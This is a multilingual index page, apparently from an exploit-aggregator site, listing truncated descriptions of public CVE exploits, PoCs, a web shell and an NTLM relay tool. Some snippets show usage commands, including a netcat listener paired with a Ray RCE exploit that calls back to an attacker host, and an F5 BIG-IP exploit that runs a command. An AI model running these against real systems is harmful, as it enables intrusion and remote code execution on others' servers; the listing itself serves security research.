CVE-2021-42756

CVE-2021-42756 FortiWeb 5.x 모든 버전, 6.0.7 이하, 6.1.2 이하, 6.2.6 이하, 6.3.16 이하, 6.4 모든 버전의 프록시 데몬에 있는 다수의 스택 기반 버퍼 오버플로 취약점 CWE-121으로 인해 인증되지 않은 원격 공격자가 특수하게 조작된 HTTP 요청을 통해 임의 코드 실행을 달성할 수 있습니다. 요약 MitB 보호가 활성화되면 보호된 필드의 길이에 제한이 없습니다. 이로 인해 스택 오버플로가 발생할 수 있습니다. PoC 환경: FortiWeb 6.3.4 참고 자료 PSIRT 권고 ...

CVE-2024-50971

CVE-2024-50971 설명 Itsourcecode Construction Management System 1.0의 print.php에서 발생하는 SQL 삽입 취약점으로, 원격 공격자가 mapid 매개변수를 통해 임의의 SQL 명령을 실행할 수 있습니다. 취약점 유형 SQL Injection 공급업체 Itsourcecode 영향을 받는 제품 코드 베이스:...

CVE-2022-46169-Exploit

CVE-2022-46169 PoC - Cacti 1.2.22에서의 인증되지 않은 RCE 이 저장소는 Cacti 1.2.22에 영향을 미치는 CVE-2022-46169용 익스플로잇을 포함하고 있습니다. 이 취약점은 인증되지 않은 공격자가 영향을 받는 시스템에서 임의의 코드를 실행할 수 있도록 허용합니다. 이 익스플로잇이 어떻게 가능한지에 대한 자세한 분석을 원하시면 이 Rapid7 게시글을 참고하십시오. 해당 글에서 구체적인 내용을 매우 자세히 다루고 있습니다. 이 코드는 교육 목적으로 chatGPT의 도움을 받아 Hack Th...

CVE-2019-12185

CVE-2019-12185 eLabFTW 1.8.5 容易通过 /app/controllers/EntityController.php 组件遭受任意文件上传漏洞攻击。这可能导致远程命令执行。攻击者可以使用一个用户帐户，通过 POST 请求完全攻陷系统。这将允许 PHP 文件写入 Web 根目录，并在远程服务器上执行代码。→ https://nvd.nist.gov/vuln/detail/CVE-2019-12185 使用示例 参数 root@kitploit: $ python3 CVE-2019-12185.py --help usage: CVE-2019-12185.py...

CVE-2023-21716

CVE-2023-21716 — Corruzione Heap RTF fonttbl di Microsoft Word RCE Gravità: Critica CVSS 9.8 Interessato: Microsoft Word 2013 / 2016 / 2019 / 2021 non aggiornato Patch: Microsoft Patch Tuesday di febbraio 2023 Autore: REGGYRAIDER Panoramica della Vulnerabilità CVE-2023-21716 è una vulnerabilità d...

CVE-2023-6019

Ray OS कमांड इंजेक्शन RCEअनधिकृत उपयोग: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

ASPX_WebShell_COFFLoader

ASPX Web Shell con COFF Loader Basato su CSCOFFLoader di TrustedSec Descrizione Questa web shell ASPX consente l'esecuzione di Beacon Object Files BOF su un server target utilizzando un client Python semi-interattivo. Sfrutta un'implementazione del loader COFF derivata da CSCOFFLoader di...

ntlm_relay_gat

NTLM Relay Gat Beschreibung NTLM Relay Gat ist ein leistungsstarkes Tool, das die Ausnutzung von NTLM-Relays mithilfe von ntlmrelayx.py aus der Impacket-Toolsuite automatisieren soll. Durch die Nutzung der Fähigkeiten von ntlmrelayx.py optimiert NTLM Relay Gat den Prozess der Ausnutzung von...

F5-BIG-IP-Remote-Code-Execution-Vulnerability-CVE-2022-1388-A-Case-Study

此存储库没有 README。...

CVE-2026-11561

CVE-2026-11561 — Apinizer SSTI / RCE Version Check Infra Nuclei-Vorlage zur Erkennung von Apinizer-Versionen unter 2026.04.6, die anfällig für CVE-2026-11561 Serverseitige Template-Injection, die zu Remote Code Execution führt, CVSS 9.8 sind. Verwendung root@kitploit: echo | nuclei -t...

TTPRunner

TTPRunner Agente autonomo di esecuzione TTP per operazioni purple team Inserisci un report di minaccia. Formula il piano d'attacco. Approvi. Esegue. Funzionalità...

F5-BIG-IP-RCE-CVE-2022-1388

CVE-2022-1388 F5 BIG-IP RCE Multi-Thread-Erkennung Verwendung: root@kitploit: Einzelne URL: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx Batch-Mehrfach-Thread: python3 CVE-2022-1388.py -f url.txt Befehl ausführen: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx -c whoami Ergebnis:...

CVE-2018-11235-DEMO

CVE-2018-11235 Uso root@kitploit: chybeta@ubuntu git clone https://github.com/CHYbeta/CVE-2018-11235-DEMO.git chybeta@ubuntu cd CVE-2018-11235-DEMO chybeta@ubuntu /CVE-2018-11235-DEMO /usr/local/bin/git --version git version 2.17.0 chybeta@ubuntu /CVE-2018-11235-DEMO ./build.sh Análise RCE com...

CVE-2024-50972

CVE-2024-50972 描述 Itsourcecode Construction Management System 1.0 的 printtool.php 中存在 SQL 注入漏洞，允许远程攻击者通过 borrowid 参数执行任意 SQL 命令。 漏洞类型 SQL 注入 产品厂商 Itsourcecode 受影响产品代码库： https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/ - 1.0 受影响组件：...

CVE-2012-1823

CVE-2012-1823 - PHP CGI 参数注入远程代码执行 RCE 严重性： 严重 CVSS 9.8 CVE： CVE-2012-1823 发布时间： 2012年5月11日 受影响软件： 以 CGI 模式运行的 PHP php-cgi 漏洞类型： 参数注入 / 远程代码执行 RCE 攻击向量： 网络 是否需要认证： 否 CVE-2012-1823 是 PHP 历史上发现的最重要的远程代码执行漏洞之一。该漏洞影响配置为通过通用网关接口 CGI 执行的 PHP 安装，允许未经认证的攻击者远程执行任意 PHP 代码。 与需要 Web 应用程序内部存在缺陷的漏洞不同，此问题存在于 PH...

XworkStruts-RCE

XworkStruts-RCE CVE-2017-5638 Script de test de vulnérabilité XworkStruts RCE L'analyseur Jakarta Multipart dans Apache Struts 2 2.3.x avant 2.3.32 et 2.5.x avant 2.5.10.1 a une gestion incorrecte des exceptions et une génération de messages d'erreur lors des tentatives de téléchargement de...

CVE-2018-14714-RCE-exploit

CVE-2018-14714 RCE 概念验证 华硕WiFi路由器RCE漏洞 此概念验证仅用于学习和研究。请勿用于非法活动，您需自行承担任何法律后果。 这是基于此PoC进行代码修改后进行的测试，因为原始PoC可能因缺少root权限而失败。 https://github.com/sunn1day/CVE-2018-14714-POC 在以下演示中，测试的设备型号为ASUS RT-N18U，固件版本为3.0.0.4.378.9216，这是我大学期间购买的路由器，现在是我的测试机 : 漏洞概念验证 利用条件 可用于登录的账户和密码。...

CVE-2019-7238

CVE-2019-7238 Nexus Repository Manager RCE Nexus Repository Manager 3 Remote Code Execution ohne Authentifizierung | | \ / | | / /| | | || | / / / / / / | | | / || | |/ || / / // || / / root@kitploit:...

-CVE-2024-31211

Pour créer un module Metasploit qui exploite la vulnérabilité RCE dans WordPress via la désérialisation d'instances de la classe WPHTMLToken, nous allons nous concentrer sur la construction d'une charge utile qui déclenche la faille de désérialisation, menant à une exécution de code arbitraire...

CVE-2023-23752

CVE-2023-23752 CVE-2023-23752 एक प्रमाणीकरण बाईपास है जिसके परिणामस्वरूप Joomla! सर्वरों पर सूचना रिसाव होता है। हालांकि NVD द्वारा इसे CVSSv3 5.3 मध्यम गंभीरता के रूप में रेट किया गया है, यह कमजोरी सही परिस्थितियों में एक हमलावर को कोड निष्पादन प्राप्त करने की अनुमति दे सकती है। यह संभवतः हमलावर...